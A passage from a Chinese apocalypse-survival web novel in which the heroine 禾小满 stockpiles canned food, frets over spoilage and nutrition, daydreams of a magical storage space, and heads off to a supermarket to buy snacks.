当然,促使禾小满选择罐头的,还有一层心理因素:比起前面那些食物,罐头是一种奢侈品,是介于纯粹生存需求和基本美味享受之间的产品。如果只吃压缩饼干会让人感觉活着仅仅是为了生存,那么开启一个喷香流油的罐头,则能让你感觉到什么叫生活。在副本漫长而艰辛的日夜中,禾小满就是靠着对每周罐头放纵餐的期盼,才熬过了前面六天的苦行僧生活。
罐头的品牌和种类繁多,禾小满选择了的梅林和北戴河两个经典品牌,以午餐肉罐头为主,折合7元一罐,订购了1500罐。同时,又搭配采购了符合本地口味的豆鼓鲮鱼罐头,将罐头类的总采购金额凑到了15000元。
禾小满看着手中这叠价值77750元的提货单,是又满足,又忧愁。储备下如此多的食物,至少在末世初期,她们母女俩应该不至于为食物而发愁了。粗略估算,这些食物支撑她俩消耗十五年应该问题不大。但忧愁的是,末世之中变数太多,如果中间任何一个环节(如仓库受潮、包装破损、鼠患虫害)出了差错,都可能导致巨大的损失。
另外,目前储备的这些食物,其营养结构是严重不均衡的。“肉蛋奶”三项,只有“肉”依靠罐头勉强达标。而提供各类维生素、矿物质和膳食纤维的蔬菜水果,则和“蛋奶”一样,在储备清单上几乎没影。这些食材的保质期通常以月、周,甚至天为单位,囤它们完全是自讨苦吃。
“啊!好想要个传说中的随身空间!”
郁闷的禾小满忍不住抬头望天,发出无声的呐喊。要真有个时间静止、无限保鲜的随身空间,那她能囤积的食物种类和数量将呈几何级数增长。而且,她也不必像现在这样,拿着提货单和老板另约发货时间。
因为新房还在装修,禾小满不想让别人知道她们囤货的事。她计划等房子彻底完工、各项设施均安装完毕后,再选个时间,让供应商快速卸货入库,尽量减少知情人,去除不必要的关注。
若真有个空间,一切就方便太多了。都不用让送货的卡车开进村里,只需让司机在路边找个偏僻的地方停车,和司机说她们有卸货的手段,请司机吃饭喝酒、塞点好处,支开他一晚上。再趁着夜色掩护摸上车,将货物全都收进空间就完事,连叉车费都省了,真正做到天知地知、你知我知。
禾小满猜测,副本里可能存在着获得储物类道具的方法。既然连【命运骰子】、【死亡轮盘】都能出现,多个储物袋、空间戒指什么的,似乎也很合理。看来她还得继续努力,在副本里努力搬砖赚取生存点数,时刻留意着可能存在的空间道具。
不过,就算什么都没有,生活也总要继续。
坐在长椅上休息了约莫半小时,感觉胃里不再那么顶得慌之后,禾小满站了起来,准备在回家之前,再去负一楼的大型超市逛一圈。
饼干、薯片、凤爪、鸭脖、瓜子、腰果、话梅、可乐……光是想到这些名字,刚刚被火锅填满的胃似乎又腾出了一点空间,口腔里的唾液开始不争气地疯狂分泌。
仔细算来,加上在副本内度过的时间,她已经有整整两个月零四天没有碰过这些零食了。再不爱吃零食的人走一遭副本,恐怕也会改变习惯,更何况她本就是个对美食来者不拒的小饕餮。现在,她只想推着购物车,在零食区里尽情驰骋,狠狠弥补一下那段清心寡欲的时光。
纯粹从生存效率角度分析,购买这些能量密度不高、分量少且溢价严重的零食,对于末日生存无益,其性价比远不如米面油盐。但是,生活不等于生存,人活的就是那么几个瞬间。
对于禾小满来说,现在,就是她想要的瞬间。